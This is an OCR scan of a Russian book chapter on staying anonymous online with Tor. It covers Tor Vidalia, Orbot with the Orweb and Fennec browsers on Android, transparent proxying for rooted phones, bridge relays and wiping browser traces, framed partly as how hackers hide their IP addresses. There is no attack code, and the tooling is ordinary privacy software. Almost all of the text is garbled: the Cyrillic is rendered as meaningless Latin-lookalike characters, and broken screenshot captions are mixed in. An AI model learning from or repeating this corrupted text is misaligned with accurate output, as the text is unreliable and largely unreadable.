611 pa3paboTaH aMepUKaHCKUMH BOCHHBIMH M TOJIBKO IO3)Ke ObL1 paccekpeueH U OTAaH
B CBOGOJHOE MCIIONb30BaHHe, Ile M Pa3sBUBAICA IO CHUX mop. Bo-BTOphIX, mporpamma
HMeeT pelneHHe IS BCeX MOMY/APHBIX ONEPALMOHHBIX CHCTEM. B-TpeThHX, MOpaXkaeT
reorpadus ¥ MacmTaGbl €€ MCTIOIB30BAHHMA, a TAKKE KOHTHHTEHT MONb30BATENEH: MpH-
MEHSIOT €€ HE TOJIBKO XaKepbl, JUCCHACHTHI, CTYNEHTHI, KOPPECIIOHICHTHI COMMIHBIX
H3JIaHUi, HO JlaXe H cneﬁcny)KGBI MHOTHX CTpaH, 4YTOOBI "HE CBETUTH" CBOM peanbHbie:
azipeca JUi1 oObIBaTeNei.

)
W3 paznuunbx BapHaHTOB Tor-KJIHeHTa HaYMHAIOIINH Xakep, CKopee BCero, MpeArnovTeT
Tor Vidalia (puc. 3.1).

OnHO M3 caMBIX 3HAUYMMBIX TIPEUMYINECTB IPOrPaMMBL B TOM, YTO €€ He HY)KHO HHCTANI-
nHpoBatk. Mcnone3ys cnoco6bl, olmicaHHbIE B ClIEAYIOLIeH IIaBe, XaKep MOXeET pa3Mec-
TiTh Tor B cekpeTHOM pazjene, GakTHUeCKd He OCTABIIAA IJIA HEMOCBALIEHHBIX HE TO YTO
HHMKaKUX BHIHMMBIX CJIEIOB HA CBOEM KOMITbIOTEpE, HO JaXe CKPBHIB HallM4YWe caMOro WH-

CTpyMeHTapmsi.
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Puc. 3.1 .

TIpHIOXKEHHE COCTOUT M3 HECKOJIBKMX KATAIIOTOB M CTapTOBOrO exe-(aiina. B kauecTse
Gpaysepa ucnonbsyercs Firefox Portable ¢ yxe HacTpoeHHBIME T Ge30macHOH paGoTEl
wiaruHamu. Bee paboraer cpasy!!!

TMoce BBI30Ba MPHIIOKEHHS, KOIJa BB MOAKIIOUATECH K TOr-CETH, aBTOMATHYECKH 3a-
nycrurcs Firefox Portable (puc. 3.2).

Ecnu Bl menkHere no Hagmucu Hactpoiikm (cM. puc. 3.1) u ganee Beibepure Ob6men,
TO ybenurech, 4To NMpHIOKeHHe paboTaeT TOIBKO B KadecTBe kmmeHTa (puc. 3.3). U sto
Ba)XHO I Bamel OezomacHocTH. IloTOMy d9TO, pemocTaBiia CBOM KOMIIBIOTED B Kaye-
CTBE PETPAHCIIATOPA, BBl MOXKETE OOJIErYUTh JKU3Hb 3I0YMBILLICHHUKY .

Ecnu notpebyercs eme pa3 cmenuts IP-anpec B Tor Vidalia, To 310 Nerko nenaercs mo-
cpencTBoM MeHI0O CMEHHTB JIHIHOCTD (CM. pHc. 3.1).

Ipu ycraHoBKe Apyrux BapuanTos Tor, TpeGyIOmIX HHCTALIAIIH, MEHIO CMEHbI JIAYHO-
CTH MOXHO HalTH NpsMo B Gpay3epe: NPU HAXKATHH Ha MAIECHBKYIO JTYKOBHYKY IOSBILI-
€TCsi MEHIO HACTPOEK, CPel KOTOPhIX ecTh komaHia Hopast iaanocTs (puc. 3.4).

[pocMoTpeTs nenodky momkmouenuii B Tor Vidalia MosxxHo, BEIGpaB MerIo O630p ceTH
(cM. puc. 3.1), B pe3ynbTare 4ero OyIer NMpeIcTaBIeHO OKHO ¢ KapToil CETH U COOTBETCT-
BYIOIIMMHU JaHHbIMHU B civicke Ioaxnouenne, puc. 3.5 (metami BUOHBI P HAKaTHU Ha
KOHKPETHYIO LIETIOUKY ).

B Hamewm ciydae pabota mporpaMmel B KadecTBe KiIHeHTa mpousBommwiack B NAT-30He
(3a poyTepoM, B oMalHeH ceTH) BooOIe 6e3 KaKuX-TMOO0 JOTOIHHUTENBHBIX HaCTpPOeK
B KOH(UTYpaImu mporpaMmel.

[MokaXkeM TOJIEKO HEKOTOpBIE SKpaHBl HacTpoek Tor myis Takoro ciryvas, Korja Bce ycra-
HOBJIeHO no ymomyaHuio. Eciu BeiGpats HacTpoiikm yxe B caMmoM Gpaysepe, TO IOSBUT-
cs Biaaka Hacrpolika npoxcn (puc. 3.6).
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}

Mosgpasnsem. Baw Gpaysep
ucnonsnayer Tor.

Bais IP agpec: 77.95.231.11

,&ac“;ﬁais sﬁﬁﬁﬁﬁﬁﬁﬁ?ﬁ% Geaon saf:ﬁzzam ang Tor
' ?ifﬁe‘éi-}ﬁi Bundis..
' 4"&@3:, egaia‘rh i‘."“"éﬁé'ﬁ!

Puc. 3.3

Tor Browser

{ & hitps:jfcheck torproject.org/?lang=

HoBag nu4HOCTD,
SawmTa Copkie \
HacTpoiku... :

o] Torbutton. ..
OTKpbITL CeTeBble HACTPOVKH ().

Cxauate obHoBnenua Tor Browser Bundie

Puc. 3.4
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F y, Ui ceimi OrupuTs
epodwtomade mdfnetd, bauruined2,fessQQmorePEW... OTxpuTs

Chandier2s bauruineZ04,wommelator2 hvivi029 Ompums
servhr2a .

mylittietoryd 10 mins 32 cex

torfoo 2014-0%-12

AS5250 10:07:48 GMT

TetosTorExits

et ""‘P"“‘:;“”"“‘ . STORro420 (Orsasi)
Coinfass Pacnonomerse: Hopserus

66.172.1L.226
" 4.51Mbfc

ICECECHOCH

Puc. 3.5

@ WUmonb30BaTh NapamMeTpbl NPOKCH, pxomnmm ANS AaHHOH Bepcum Firefox
0 VichorsaaRaTs Pafigo .
& YcranosiTo nanané‘rpu NPORCH BRYUHYIO
HTTP-npoxan: -

S

. Brymarivie: He BHOCHTE HYIKEKIX HMEH AGMEHOB B Tone Bbile
€5 Npospauran TopudmKauvs (Tpeﬁyér NONb30BATEALCKNX transproxy v Tor-MapiupyTHsatopa)
’ @mm"l(hqmy”n'fopmm " 4715 NMPeACTEPALLE ...cnyqaﬁnoronepemoueﬁmpe‘mma

v

Puc. 3.6 ' -
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Ha Bxnaaxe Hac’rpoiixﬂ‘ﬁe'sonacnoc’fn BHJTHO, YTO [I0 YMOJTYAaHHIO B Opaysepe He Be-
IyTCs JKypHaJIBI C JaHHBIMM IO [OCEIIaeMBIM caifTaM (JIOTH) M OTKJIOYeH Ffash-nneep
(puc. 3.7). ’ ‘

Flash-mineep oTkimouYeH He ciTydaiHO: U3 cOOOpakeHHi 6e30MacHOCTH COOOIIEeCTBO, MOA-
AeprkuBaroiriee Tor, He rapaHTHpYeT NMOMHOM AHOHMMHOCTH IIPU HCIIOJIb30BAHMH CTOPOH-
HUX NPUIOJKEHUH.

He coxpaHaTs XypHan ofospesatens n aanHsie ¢ Ndteluaembix CaiToB (akTHBHPYET (GYHKUMIO NPHBATHOTO NPOCMOTPa)

&} OTkmounTL pacwmpenus Gpaysepa (Takue Kak Flash) -
BROKHPOBATH CTOPOHHME KYKH M APYrHe AaHHbIE CeXeHNs -

WsMeHnTb CBeABHHR, OTAMYarolMe Bac OT APYTHX Nonb3oBatenet Tor Browser

Puc. 3.7

3.2. Tor Ha cmapT¢oHe

3aMeTUM ellle, YTO B HACTOALIEE BPEMsI UTS CBOMX HYXK] XaKepy Aaxe He HY)KHO UCTIONb-
30BaTh KOMIIBIOTED, T. K. TOr-KIIHEeHT CyImecTByeT u Iad cMapTdoHOB. Jjia onepanuon-
Ho#t cucteMbl Android ¢ Play Mapkera coBepimeHHO G€CIUIaTHO MOXHO CKa4aThb IPO-
rpammy Orbot (puc. 3.8), npencrapismoinyro coboif npokcu i noaxmodeHus k Tor-
CeTH. : .

IMocne ycraHoBKkH MBI oTyyrM rporpammy Orbot, koropyio eme npeJiCTom HaCTPOUTh
(puc. 3.9).

IIpaBna, ycraHoBka Orbot — 3T0 TONMBKO MONAena. [loka 9ro mobGoi M3 MMEromUXCs
B OIIEpaLMOHHOM cucTeMe.Opay3epoB paboraer ¢ IHTepHETOM HalpAMYIO. MosxHO 6bLTO
ObI 3aIyCTUTH NPOrpamMMy ITyTeM MPOAOJDKUTEIHLHOIO HAKATUSA NaIbLieM Ha HMITPOBH3H-
pOBaHHOM KpPYIJIOH KHOIIKE BKJIIOYEHMS, 3aKpBIBAIOIEH JTykoBHYHOro aHapouzaa. Ho
HY)XHBIA Ham Opaysep TOKa ellle He YCTaHOBJIEH, I03ToMy noBpemenuM. Kctatu, oGpa-
Ttute BHUMaHue, 9yto kHonmka CHECK BROWSER o 3amycka nporpamMmsl Orbot Heak-
TBHa. Hama 3ama9a — ycTaHOBUTH M HaCTPOWTH JOMOJIHUTEIBHEIN Opaysep, KOTOpHIHA
Oyner pabotats ¢ Tor-cetbio mpokcu Orbot (puc: 3.10).

Ms1 ycTaHOBMM [T Haimleif e/ Jaxe He OHH, a 1pa Gpaysepa. Y nerde Bcero y3Harts,
YTO HaM HY’>KHO B KayeCTBe CHeLHaIbHOro Opay3epa, MOXKHO, BbI3BaB BeCh CITUCOK pabo-
TaIOMMX COBMECTHO C HAIIMM MpHIoKEeHHUeM nporpamm. Jlemaercs 310 mocpecTBOM BBI-
6opa 3HauYKa, COCTOAIIErO M3 TPEX PACHOIOKEHHBIX N0 BEPTHKAIH TOYEK B IIPABOM BEpX-
HeM yTiry caMoii mporpammsl Orbot (puc. 3.11).

B npennoxxeHHOM crmcke AeHcTBUit BEIOUpaeM Bapuant Wizard (puc. 3.12).
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To= il B 194

Orbot Mpoxcu B &
Komnnekre ¢ Tor
' The Tor Project

APPS BRIDGES

Puc. 3.8

UntepHeTt

QOb6bIYHbIN
Gpayaep

Mporpamma, BeinonHaowWas | - .

<> yHKLMK NPOKCH

u pabotarowyas ¢ Tor-ceTbio

Bpaysep, cneuunansHo
HaCTPOEHHbIA AN
paboTbl Yepes NpokKcK

Puc. 310
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Orbot  CR Codes

Puc. 3:11 - Puc. 3.2

B crmcke nporpamm, paGoraromux ¢ Orbot u nonyi{e,mmx B pe3ynbTaTre HalluX MaHU-
MyJALEi, Hac ceifuac mHTepecyioT: Gpaysepst ORWEB u PROXY MOBILE ADD-ON
FOR FIREFOX (puc. 3.13).

Haunem ¢ pocToro, a ”MEHHO C. YCTaHOBKHU ORWEB, TaK k€ 3alyCTUB HOMCK 3TOH Mpo-
rpamvmsi B Play Mapxkere (puc. 3.14).: "

o] . L
O = i W25

The apps below were developed tc

stalt now, or you can find them
>r ort Google Play, at
ctinfo website or via

ORWEB: PRIVACY-ENHANCED
BROWSER THAT WORKS
THROUGRH TOR

CHATSECURE: SECURE CHAT
APP WITH OFF-THE-RECORD
EHNCRYPTION

DUCKDUCKGG SEARCH ENGINE Mpocmarpusaiité KoHg: 3 ‘
ARP " The Guardian Project .
Rttt

BECTINATHO |

PROXY MOBILE ADD-ONFOR
FIREFOX (MTTPS:/
SUARDIANPROJECT INFO/APPS/
FIREFOXPRIVACY}

_-Orbot lpokeu B komnne ¢ |
“The Tor Project §
Kok dekk

OKAY

Puc. 3.13 Puc. 3.14
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Xopomo To, uto 6payzep ORWEB:#aunHaet paGorars B cBsizke ¢ Orbot cpasy xe mocie
yctanoBkd. Ho cHavana BeimomnsM, HakoHell, 3amyck Orbot. TToTopumcs, 9To 3amyck
HporpamMMBI JUIA CBSA3HU € TOr-ceTbio IPOU3BOJUTCS NPOJOJDKUTENFHBIM HKaTHEM Mallb-
LeM Ha KpYIIOH KHOTIKE BKJIOUEHHs yCTPOKCTBA, 3aKPHIBAIOLIEH JTyKOBHYIHOIO aHIPOH-
na. JXmeM Ha KHOTIKY 70 TeX NOp, TIOKa pyYKH He TIOMHUMYTCs BBepX (puc. 3.15).

IIDi. e§!§§ g

- Congratulations. This...

g ianguages:

Congratulations.
This browser
is configured

to use Tor.

Your IP address appears
to be: 5.1.83.199

Please refer to the Tor
website for further
information about using
Tor safely. You are now
free to browse the internet

CHECK BROWSER | APPS BRIDGES anonymously. For more
[ e information about this exit
Puc. 3.15 Puc. 3.16

Hanee HyXHO HaXaTb yxe CTaBIJIy}O aKTHUBHOM KHOl'IKy CHECK BROWSER. B pe-
3ynbTate 3amycturcs ORWEB, u ecii Bce XOpoIo, TO Ha 3KpaHe cpa3y e BBl YBHIHTE
coolmenne o HOBoM [P-anpece, KOTOPBIHA TPENOCTABUT 6pay3epy Tor-cers. B Hamem
npuMepe Mbl noty4yriu agpec 5.1.83.199 (puc. 3.16). "

Jl1s BBOMA ajpeca MHTEPHET-y3/ia-HEOGXOMMO HCIIO/IB30BaTh 3HAYOK 36MHOIO IIapa
B JIEBOM BEpXHEM yTiy Gpaysepa. - Takum o6pa3oM, MOSBHTCS COQTBETCTBYIOMAA CTPOKa,
I/le MOXKHO YKa3aTh KOHKPETHBIH ampec. DTUM NpocTHIM Gpay3epoM BEI MOXKETe aHOHHMM-
HO Tocemarh Be6-y3bl B HuTepreTe. CoeIMHEHHE MEX/Ty BaMH 1 TIOCEMIAEMBIM y3/IOM
mu¢pyercs. IIpopaiinep win Bpar, nepexBaTUBIINI TpaduK, yke He IPOYMTAET €ro Co-
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nepxuMoro. Bel Taoke coxpaHWTe MHKOTHHTO Ha MOCEIAaeMbIX y3iaxX mpoctopoB HH-
TepHeTa, T. K. IP-afipec ¢ mpuMeHeHneM 3Toi CBS3KH OyIeT Takke OTAHMYATECSA OT peab-
HOTO.

OGparum BHHUMaHHe, kKoraa Orbot 3aryIneH ¥ yCTaHOBHI CBsi3b ¢ TOr-CeThIO, TO PydYKH
JIYKOBUYHOTO aHApPOMIA TNONHSATH BBepX (CM. puc. 3.15). Jina Toro 9T00BI CMEHHTH
IP-agpec Ha fApyroi, Taike OTIMYHBIA OT Balller0 PEaJbHOTr0, HY)KHO "CKONB3HYTH"
najbleM, kKak G651 KPyTaHyB 3TO YCTPOMWCTBO MO TOPH30OHTaIA. TakuM o6pa3oM, BO BpeMs
- paGoTHI XaKep MOXET peryJiapHO MeHATh cBoii [P-anpec.

Ho ORWEB oueHb yx MpocT M MaJo QyHKIMOHAIEH. BTOpoii BapHaHT HEMHOTO TIO-
CIOXHee, U 31ech TpebyeTcs HacTpoiika. 3aKII0uaeTCsa OH B CIEAYIOIIEM: HCTIONb3yeTCs
craHziapTHEIH Gpaysep Firefox, Ho co cnenmansHeIME HajcTpoiikamu. HascTpoiiku npu-
MEHSIOTCS IS TOTO, YTOOBI CTaHAApTHBIH Opays3ep KOHTakTHpoBal ¢ MIHTEpHETOM He
HanpsAMylo, a 4yepe3 npokcu. Ilocetws cTpammily mo anpecy, ykasanHomy ans PROXY
MOBILE ADD-ON FOR FIREFOX Ha puc. 3.13 (a umenHo — https://guardianproject.
info/apps/firefoxprivacy), ¢ yauBieHreM y3HaeM, YTO OCHOBaHHBIN Ha Firefox mpoexrt
yXe Gosee He MOIEPXKHBAETCS, T. K. TAKOE PEIICHHE, TI0 MHEHHMIO Pa3paboTUHMKOB, MO-
et ObITh HeGe3onacHeM. TpyAHO MOHATH NEHCTBUTENBbHYIO IPHUYHHY TaKOTO pEeLICHH,
HE 3HAI0 — IPABHI MBI HIIH HET, HO KaK KaXXETCsl, BCE N0 B TOM, YTO Pa3pabOTYHKH OT-
'Ka3aJIich MOJUIEPXKHUBATh TAKylO CBA3KY MO MPOCTON NMPHUMHE: HE KAXKIOMY MOJIb30BaTe-
JTFO TIOZ CHTy HaCTPauBaTh TaKOE COCAUHEHHME. ‘ '

Jlro6Gas ommbka IpA HACTPOiKe NPUBOJUT K TOMY, 9TO MONB30BaTeNh CaM TOTO HE I0-
nospesas, 6yner paborars ¢ MHTepHeTOM MHUHYs HpOKCH (a 3Ha4wT, u Tor-cets), Gyayan
yBEpEeH, 9TO Bce mo-iipexxHeMy xopowo. HacTpoiiku, HanpuMep, MOTyT MOMpocTy "clie-
TeTH" | Toce aBTOOOHOBIEHHs nporpammel Firefox.

Ho Bce e Ha yka3zaHHO#H BeG-cTpaHMIle cTapbiii Meton omicad. CIMCOK peKOMEH Al
no poHacTpoiike cranaaptaoro Firefox cocrour u3 10 mynkros. He Takux yx M ClOX-
HBIX IIAroB, M Ha Halll B3I/l TAM HE XBaTaeT OJHOTO M3 BAKHEHIINX — HACTPOHMKH 3a-
TIIpeTa aBTOMaTH4eCKOro 0OHOBIIEHU Opay3epa.

Boo61ne ¢ 5THM IPOEeKTOM IO pHMEeHEHHIO Gpay3epa Ha ocHoBe Firefox Bce Bpems uro-
HUOY/(b MPOUCXOAUT. TPyAHO NOHATH, YTO 3a BapHAHT OyJHeT NpemIokeH Ha MOMEHT,
KOIZja KHUTa MosBHTCA B mnpojake. OmHo BpeMs mpemyiarajiock nomoiHenue (addon)
Proxy Mobile k crannaptHoMy 6pay3zepy Firefox (puc. 3.17).

Puc. 3.17



AHOHUMHOCML 8 cemu . : 67

Puc. 3.18

310 GBUIO HEIUIOXO€ pEeMIeHHe, MO3BOJIIONIee IPOU3BOAUTE Pa3IMIHbIC HACTPOHKH J10-
ronHeHus (puc. 3.18).

IToToM B pa3HOe BpeMs IpeIiaralich pa3iddHbIe Y)ke FOTOBbIEe, HACTPOSHHBIE Ha paboTy
¢ npokcwu Gpaysepsl. OmuH 13 HuX — Fennec (puc. 3.19).

| fennec~38 0 en-US andtmd-arm.apk

"i! " dev.guardianproject.info
" 3amepueno o _ 2864MB 12&72035

Puc. 3.19

Ilocne ycTaHOBKH INONyYalcs Y)Ke INONHOCTBIO HACTPOEHHBIN, Oe3omacHbIil Gpaysep
Fennec, npennoxennsiii paspaborarkamu npoekra "The Guardian Project” u paborato-
muii gepe3 npokcH (puc. 3.20).

Ha puc. 3.21 mpe/icTaB/eH 3HaYOK €lle OJHOr0 BAPHAHTA TOA0GHOT0 6paysepa — Orfox.
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>

Fennec
amoghbli

Puc. 3.20 Puc. 3.21

Kakast cuTyarms CIOXHTCA B TOT MOMEHT, KOraa Bbl Oynere mpoOoBaTh 3alMINECHHBIA
Opaysep — Hew3BeCTHO. BO3MOXHO, YTO BaM MpemioxkaT Opay3ep JaXke C TaKUM XKe
HMMEHEM, KaK MBI OIKCHIBAIM 3/I€Ch, HO HEHACTpOeHHBIH Ha pabory ¢ Orbot. ITosTomy
y6enutscs, pabotaer i Opaysep depe3 3alUINEHHOE COCAMHEHHE, MOXHO TakK: IIpH 3a-
IyCKe MPaBUIEHO HACTPOEHHOro Gpay3epa, koraa Orbot He 3aIyIeH, OH BBIIACT OIMHOKY
0 TOM, YTO IIPOKCH-CEPBEP OTKJIOHMII CoeIMHEHNME (pHC. 3.22).

eBo+o T

The proxy serveris
refusmg connect;ons

Firefox is ccmﬁguned to usea pmxy Server that S
- Is refusing connectmns ;

" 1:.Check the pmxy semngs to make Sufﬁ that] -
: they are correct, .

2. Contact your netwvrk admmstratof to
- make _sqre the proxy server s working.

Puc. 3.22
Ecnu Bce xe coenunenue ¢ Tor-ceTbio ycTaHOBIIEHO, TO OH (6paysep) cMoxeT paboTaTh
¢ Hureprerom (puc. 3.23).

TpasuisHEI Gpaysep npH 3amymenHoM Orbot JomkeH paGoTaTh ¢ HHTepHerOM MpH
octaHoBJIeHHOM Orbot — BbIIaTh omuOKy. Emme oquH npusHak: npaBwisHOroO Opaysepa
BBl He yBUZIUTE B perio3uTopuu Play Mapkera, ero Hy)xHO uckath B IHTepHeTe cnienu-
aJIBHO.

Xakep, aHOHMMHO TIONOJIb30BABIIUCH pecypcamu MHTepHeTa, I OKOHYATEIIHHOTO
YHUYTOXKEHHUS BCEX CIIE/IOB, KOTOPhIE MOXKET OCTaBIIATh Iporpamma Ha ocHoBe Firefox Ha
caMoM cMapT(oHe, CKopee BCero, Ha BCAKHIA CiTydaii poJeaeT ewle CleayIomue JeHcT-
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Tadat 2eaene cBiEwnd EipenuEs fic3:ATCE =" Z=
Hopoltu 3% % anew ke 53 1s
3 Bipres ik L : (3=
2 Tyere Ba aptow e 2n Tpamna
2 g presat i e nifeny T reny CypnianSe

4 Blasne YIQNENEA B Sl e 8 TR e Dareina e R o - e
sHenmsenwsis | oy

Buernd wa rpesadgy

ecrand gEd AHase |

‘& BURICPE 29 Qatoese 2w om S IR de Bute B @RS SISHY

Aupexc 1

Puc. 3.23

Bua. OH BBI30BET HACTPOWKH MPOrpaMMBbl, HUCIIOB3ys TPH TOYKH, PACIOIOXKEHHBIC IO
BEPTUKAIA B MPAaBOM BEpXHEM YTy HPOrpaMMEI, M Jainee BhIOepeT MeHI0 Settings
(puc. 3.24).

3arem — Privacy (puc. 3.25). H, Hakosell, MeHio Clear now (puc. 3.26).

€ eOIUOT =

. About Feanec, FAQs, data choices.

Puc. 3.24 Puc. 3.25
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Cde OO -

Puc. 3.26 Puc. 3.27

OrmerntT Quaxku WIS BCeX MPENIOKCHHBIX JaHHBIX H Beibeper CLEAR DATA
(puc. 3.27). Bort u Bce! Hukakux cnefoB Ha cMapTdoHe He OCTAHEeTCA. .XO0Ti, B yCTaHOB-
Kax ecTb 6oJjiee MpOCTOi crocod — Bce OYMINAETCS aBTOMAaTHYECKHU IPH BBIXOJE M3 TIPO-
rpammsl (Clear on exit).

Mtak, MBI HACTPOMJIM /IBa pasHBIX Gpaysepa 1jid abCOMOTHO aHOHUMHO#M paGoTel B UH-
TepHeTe. Heo6X0MMO Takoke TOHMMATh, UTO NPH HAMHYMH B CMapTdoHe MpaB T0/Tb30Ba-
Tens root (a ¢ uenbio obecnedeHus Hy)KHOro YpoBHs Ge30MacHOCTH 110 YMOTIaHHIO BCE
cMapT¢OHBI He JAIOT IpaB Cyneprnoab3oBatensi root), Orbot Mo3BOIHT HACTPOHTH aHO-
HUMHYIO paGoTy B MHTepHeTe moGOMy NpPHJIOKEHMIO, a HE TOJNIBKO Opay3epy, Kak Mbl
TOJIBKO YTO paccMoTpesd. M 3ayacTyio, 4roGBl MOMydYHTh IIpaBa root Ha cMapTQoOHe,
HY>KHO TPOJeNIaTh PA MaHUITyJIALHH, KOTOpPEIE COBCEM HE NMPUBETCTBYIOTCS MPOM3BOIH-
TEJIMU YKa3aHHBIX JEBAWCOB, T. K. NOJIb30BAaTeNI CMOTYT JapOM CKa4UBaTh HEKOTOPHIE
OTHIONb He GecIuIaTHBIE TPHIIOKEHHA U Booble HapymuTh paboTy yctpoiicta. Ceiiyac,
37ieck MBI He OyJieM OCTaHaBJIMBaThCA Ha BONpOCE MOJyYeHHs IpaB root B cMapTdoHe,
MIOrOBOPUM 00 3TOM HEMHOTO mo3gHee. OTMETHM TONBKO, UTO, MMes TaKhe IIpaBa, Mpo-
rpamma Orbot mo3BonUT cAenaTh aHOHMMHBIM 000 Apyroe NPHIOoKEHHe, UCIOb3ys
¢ynxumio Transparent Proxying (ITpo3pausstit mpokcu) (puc. 3.28).

Tocne ycranosku Transparent Proxying u Request Root Access TOSBHTCS BO3MOX-
HOCTb BBIOpaTh MPHIIOKEHHS, KOTOPHIE HY)XXHO OyJeT 3aImyckarh Hepes NpoKeH (craner
JIocTynHbeIM MeHIo Select Apps), puc. 3.29.

Ha puc. 3.30 mis npoGbl BO3MOXXHOCTE paboTaTh 4Yepe3 MPOKCH yKa3aHa i MpHIIOXKe-
HuA Skype (¢pakok HaIPOTHB).
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0 =

n Boot

Always-On Notifications

Expanded Naotifications

Set Locale

Requ

Puc. 3.28

Puc. 3.30

Puc. 3.29
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ITonATHO, YTO IPH HAJIMYUI TOOt-NOCTYTA Jierde pemaercs ¥ npodiieMa HCIIOIB30BaHuUs
noxxozsmero 6paysepa depes HpokcH. Ecii make Bce MPOEKTHI C BBIYCKOM :TAKOTO
Opaysepa Ha ocHoBe Firefox GyayT 3aMOpPOXKEHEI, TO MOXHO HCIIOJIB30BATh JIF060# Gpay-
3ep, BKIIIOYHB €ro TaK, Kak MBI I0Ka3aay Ha npumMepe ¢ mporpammoii Skype. Ilpu 3tom
Hy>KHO NIOHUMATh, YTO Ha OCHOBE TOM MH(OPMALIHK, KOTOPYIO MBI HPHBEJIH, IPOCTO MO~
KIIOYUTH Opaysep dyepe3 MpoKcH — Maino. UtoObl OH He Haclemwi, Hy)KHO €Ile XOpOIIo
nopaboTaTrs ¢ HaCTpOHKaMH. ' '

OtMmeTnM TaKKe, 4To monacth B HacTpoiku Orbot, ykazaHHEle Ha puc. 3.28, MOXXHO, BBI-
6paB KHOMKY CO CTWIN3OBaHHBIM H300pa)KCHHEM DPEryJIITOpOB HAaCTPOMKM 3KBalaizepa
B IIPaBOM BEpXHEM YIITy Iiporpammsl (puc. 3.31).

T= N

Puc. 3.31
IIpoBaiinep He MOXKeT NMPOYMTATh Tpaduka, NeperaBaeMoro Mo CeTH C MUCIONb30BaHUEM
Tor. Ho oH MoxeT 6710kupoBaTh paboTy.C UCIIONIb30BaHUEM 3TOM ceTH. [ MCKIoYeHHs
TaKOro BIIMSHHUA XaKePhl UCMOJB3YIOT PETPAHCIATOPHI THITA "MoCT".

BapuanToB mMocToB (bridges mode) HecKobko, pacCKakeM O CaMOM IIPOCTOM M3 HHX.
M Havana xakepy HEOGXOMMMO Y3HATh JCHCTBYIOIIMI B HACTOAIIEE BPEMs CIIUCOK aji-
pPECOB MOCTOB. OTO OH MOKET BBLICHWTH Ha cTpanuue https://bridges.torproject.org/
(puc. 3.32).

BridgeDB The Yor Project

MoaroToBneHHbie agpeca
pEeTPaHCNATOPOB: .
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Hacrpausaercs paboTta 4epes: Bp@isToif MOCT CiIeLyfoluM 06pa3oM: B MEHIO KOHQHIypa-
i Orbot (kak Tyza 3aifTu, MBIEOKa3bpIBAIA paHee, cM. puc. 3.31), B cekuun Bridges
(IP address and port of bridges)sseneM oguH U3 MOy4eHHBIX agpecoB (puc. 3.33).

Sexaian

Enter Bridge Addresses
213.162.235.107:900G1

Puc.333

B cexipm Use Bridges (Enable alternate entrance nodes into the Tor Network) ycra-
HOBUM (pia>koK B cocTosiHue "BimoueHo" (puc. 3.34). Xors 3710 nenaTh U He 06s3aTenb-
HO, BKJTIOYEHHE WIHM BHIKIFOUYeHHE (PyHKIIUM MOCTA B 3TOH CEKLIUH COOTBETCTBYET KHOIIKE
BRIDGES Ha nuiieBo#t masenu nporpammsl (puc. 3.35). Ilpu BKIXOYEHHOM, MOCTE KHOII-
Ka OyzieT 3eJIeHOro L{BETA.

Loas = il B 1224

LA INUS

ict Nodes

Bridges

Puc. 3.34 - Puc. 3.35
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O Tor MOXHO 6BUTO GBI €lIie JONTO PacCKa3bIBaTh, CYIIECTBYET MHOTO HHTEPECHOH MH-
¢dopmanum. YoMsHEM TOIBEKO HEKoTopble ¢akTel. HanmpumMep, o TOM, YTO HECKOJIBKO JIeT
Ha3aJ] HeMellKas MOJIMIH apecTOBajla YeJIOBEKa, OPraHM30BaBIIET0 Ha CBOEM KOMIIBIO-
Tepe cepsep Tor. Torma 6bU10 ycTaHOBIEHO, 9TO Yepe3 3TOT cepBep "HEKTO" OTIpaBHA
JIOKHOe coobmeHue o TepakTe. JIMUHOCTB, OTIPaBHUBIIYIO COOOINEHNE, TaK M HE HalILIH,
a XO3i4MH MPECIOBYTOr0 KOMIIBIOTEpa, Bce k€ BBIMYIMEHHBIH Ha cBOOOMY, OTKa3aics
B JaJibHeHIneM OT co0Jia3Ha IPeJOCTaBIATh CBOi KOMIIBIOTEp B KayecTBe y3na Tor.
Kcrat, MBI ¥ BaM 3TOro He COBETYeM: MOBTOPHM — TycTh "paboTaeT TONBKO Kak
KJIHEeHT". '

Eme onun unTepecHsiii dakT: B psjge ctpad Tor 6J'I.OKI/IpyeTCﬂ Pa3THYHBIMH CIIOCO0aMH.
Hanpumep, B Hipare mpensTcTBHA YMHATCS 3a cdeT O6jlokupoBKH SSL-coenuHenMii. A B
Kurae B crmcok 610kupoBKH Gosburoro 6pasamayspa ("3om01oi mut") 6bU10 BKIIOYEHO
noJiaBisIomee GOJBIIMHCTBO Iy OIMIHBIX afpecoB cepBepoB Tor...

IP-anpeca cepBepoB Tor BKIIOYEHHI B YEpHBIE CITIMCKHM HEKOTOPBIX CEPHE3HBIX PECYPCOB
Hureprera. Hanpumep, npu nosis3oBanny Tor moMCKOBBIH cepBep SIHzekca MOXeT 3a-
MOJO3PHTH Bac B "Hexopomux" AeiicTBuaX. OH BBIJAET CTpaIIHEIH Bo3riac "oM..." ¢ 3a-
MpOCOM Ha BBOJ "Kam4M'", mperosaras, 4ro ¢ Bamero IP-agpeca nocrymaioT aBToMaTH-
yeckue 3ampochl (puc. 3.36).

Ham oueHb xanb, Ho 3anpocki, nocTynueluKe ¢ Bawwero IP-agpeca, Noxoxu Ha asTomatuveckue. Mo
370 Np Ml BBIHYKA p p AOCTYN K NOMCKY.

Yrobu np » NIOMCK, yAcTa, [ C Kaf 8 Nosie BBOAA U HKMUTE

Moyemy TaK cayuwsiocs?

Ecnn AgT npock: el it nocrynam £ BaLerG KCMRLIITED3, Y 86l 08 IToM
2Hnaete (Hanpumep, Buu fio PCRY A bHOCTH ﬂu,;;nyry

-

B i ¥eK BOC aTLCA Cheihastioh g ,mq X uesieit repsuco;ﬂm_@M

Pwc. 3.36 B

IMocne BBOzA "KaImiH" MOHUCKOBBIH CEpBHC Sapexca cranonmca BCE XK€ 110c1y11m.1M (mo-
Ka JOCTYIIHEIM).

KoneuHo, nporpamma Tor yno6Ha, HO HET B MHPE COBEPIICHCTBA: OJJHAM H3 OCHOBHBIX
€€ HEIOCTATKOB SBJIACTCS CYIECTBEHHOE CHIDKEHHME CKOPOCTH 3a cHeT "HaKIaHBIX pac--
X07i0B" Ha mMHU(pOBaHHE U IPUMEHEHHS LIEJION ETIOYKH COSTUHEHMIA. ..
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3.3. 3aknioveHue o Tor

TpencrasiieHHBIE B JaHHO# IJiaBe MHETPYMEHTHl — TOJBKO YacTh TOTO, YTO MCIIOJb3YeT-
s XaKepaMH I MOAJEpKaHUIA aHOHHMHOCTH B ceTH. 1, Kak MBI yxe ITOHSTH, He TONEKO
xakepamMu. OCOGEHHO aKTyasieH ‘ pacCMaTpHUBaeMblii BONPOC M OXWAeTcs GONBLION
